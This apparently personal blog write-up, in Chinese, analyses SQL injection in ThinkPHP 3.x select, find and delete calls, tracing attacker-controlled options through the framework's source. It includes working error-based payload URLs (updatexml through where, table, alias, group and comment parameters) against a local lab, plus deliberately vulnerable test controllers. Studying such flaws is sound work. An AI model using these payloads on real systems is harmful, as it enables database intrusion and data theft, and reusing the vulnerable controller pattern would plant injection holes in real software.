大佬的文章 已经写得很深刻了,我这里自己捋了一遍
Ready
下载thinkphp最新版,切换到漏洞修补之前的版本
1 2
| git clone https://github.com/top-think/thinkphp git checkout 109bf30
|
创建数据库,更改/ThinkPHP/Conf/convention.php中的数据库配置
select|find注入
测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller { public function index() { $id = I('get.id'); M('users')->where('1=1')->select($id); } }
|
有几种payload可通过报错注入注出数据,如下:
1 2 3
| where:http://127.0.0.1:4000/index.php?id[where]=1+and+updatexml(1,concat(0x7e,user()),1) table:http://127.0.0.1:4000/index.php?id[table]=users+where+1+and+updatexml(1,concat(0x7e,user()),1)%23 alias:http://127.0.0.1:4000/index.php?id[alias]=where+1+and+updatexml(1,concat(0x7e,user()),1)%23
|
进入代码查看select函数/ThinkPHP/Library/Think/Model.class.php:582
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public function select($options = array()) { $pk = $this->getPk(); if (is_string($options) || is_numeric($options)) { if (strpos($options, ',')) { $where[$pk] = array('IN', $options); } else { $where[$pk] = $options; } $options = array(); $options['where'] = $where; } elseif (is_array($options) && (count($options) > 0) && is_array($pk)) { $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) { $count++; }
} if (count($pk) == $count) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } elseif (false === $options) { $options['fetch_sql'] = true; } $options = $this->_parseOptions($options);
|
我们传入的数组,系统会通过上面最后一行的$this->_parseOptions($options)
去分析组合,跟进查看,同文件第680行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| protected function _parseOptions($options = array()) { if (is_array($options)) { $options = array_merge($this->options, $options); }
if (!isset($options['table'])) { $options['table'] = $this->getTableName(); $fields = $this->fields; } else { $fields = $this->getDbFields(); }
if (!empty($options['alias'])) { $options['table'] .= ' ' . $options['alias']; } $options['model'] = $this->name;
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { foreach ($options['where'] as $key => $val) { $key = trim($key); if (in_array($key, $fields, true)) { if (is_scalar($val)) { $this->_parseType($options['where'], $key); } } } } $this->options = array(); $this->_options_filter($options); return $options; }
|
在第一个判断,代码就将我们传入$options
和系统中已经存在的$this->options
合并了,然后经过这里的一部分处理后,后面会进入各种parseXXX的相应处理,最终组装成SQL语句,代码/ThinkPHP/Library/Think/Db/Driver.class.php:1096
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public function parseSql($sql, $options = array()) { $sql = str_replace( array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'), array( $this->parseTable($options['table']), $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false), $this->parseField(!empty($options['field']) ? $options['field'] : '*'), $this->parseJoin(!empty($options['join']) ? $options['join'] : ''), $this->parseWhere(!empty($options['where']) ? $options['where'] : ''), $this->parseGroup(!empty($options['group']) ? $options['group'] : ''), $this->parseHaving(!empty($options['having']) ? $options['having'] : ''), $this->parseOrder(!empty($options['order']) ? $options['order'] : ''), $this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''), $this->parseUnion(!empty($options['union']) ? $options['union'] : ''), $this->parseLock(isset($options['lock']) ? $options['lock'] : false), $this->parseComment(!empty($options['comment']) ? $options['comment'] : ''), $this->parseForce(!empty($options['force']) ? $options['force'] : ''), ), $sql); return $sql; }
|
也就是由于我们可以控制整个$options
,然后像大佬说的上面代码中任何的parseXXX
都有可能是注入点
这里我也只分析当前文件的几个注入点,$options['table']
是直接使用的我们传入的内容,根据下面的代码可知,我们无法获取到表前缀的情况就无法使用
1 2 3 4 5 6 7 8
| if (!isset($options['table'])) { $options['table'] = $this->getTableName(); $fields = $this->fields; } else { $fields = $this->getDbFields(); }
|
如果$options['alias']
存在时,就直接拼接到表名的后面
1 2 3 4
| if (!empty($options['alias'])) { $options['table'] .= ' ' . $options['alias']; }
|
而$options['where']
则需要经过字段名和字段类型的检验,但我们可控的还有$val
1 2 3 4 5 6 7 8
| foreach ($options['where'] as $key => $val) { $key = trim($key); if (in_array($key, $fields, true)) { if (is_scalar($val)) { $this->_parseType($options['where'], $key); } } }
|
上面的几个点,最后经过parseXXX处理后,恶意代码仍然保留,导致注入,find函数的流程程基本和上面类似,略过
delelte注入
测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller { public function index() { $id = I('get.id'); M('users')->where('1=1')->delete($id); } }
|
delete基本也差不多,但是在分析完表达式后,有一个判断,我们必须保证$options['where']
不为空才行
1 2 3 4 5
| $options = $this->_parseOptions($options); if (empty($options['where'])) { return false; }
|
给出delete时的payload:
1 2 3
| where:http://127.0.0.1:4000/index.php?id[where]=1+and+updatexml(1,concat(0x7e,user()),1) table:http://127.0.0.1:4000/index.php?id[table]=users+where+1+and+updatexml(1,concat(0x7e,user()),1)%23&id[where]=1%3d1 http://127.0.0.1:4000/index.php?id[alias]=where+1+and+updatexml(1,concat(0x7e,user()),1)%23&id[where]=1%3d1
|
补充
1 2
| [group]http://127.0.0.1:4000/index.php?id[group]=(updatexml(0,concat(0x7e,user()),1)) [comment]http://127.0.0.1:4000/index.php?id[comment]=*/and+updatexml(0,concat(0x7e,user()),1)/*
|
参考
https://xz.aliyun.com/t/2631
https://xz.aliyun.com/t/2630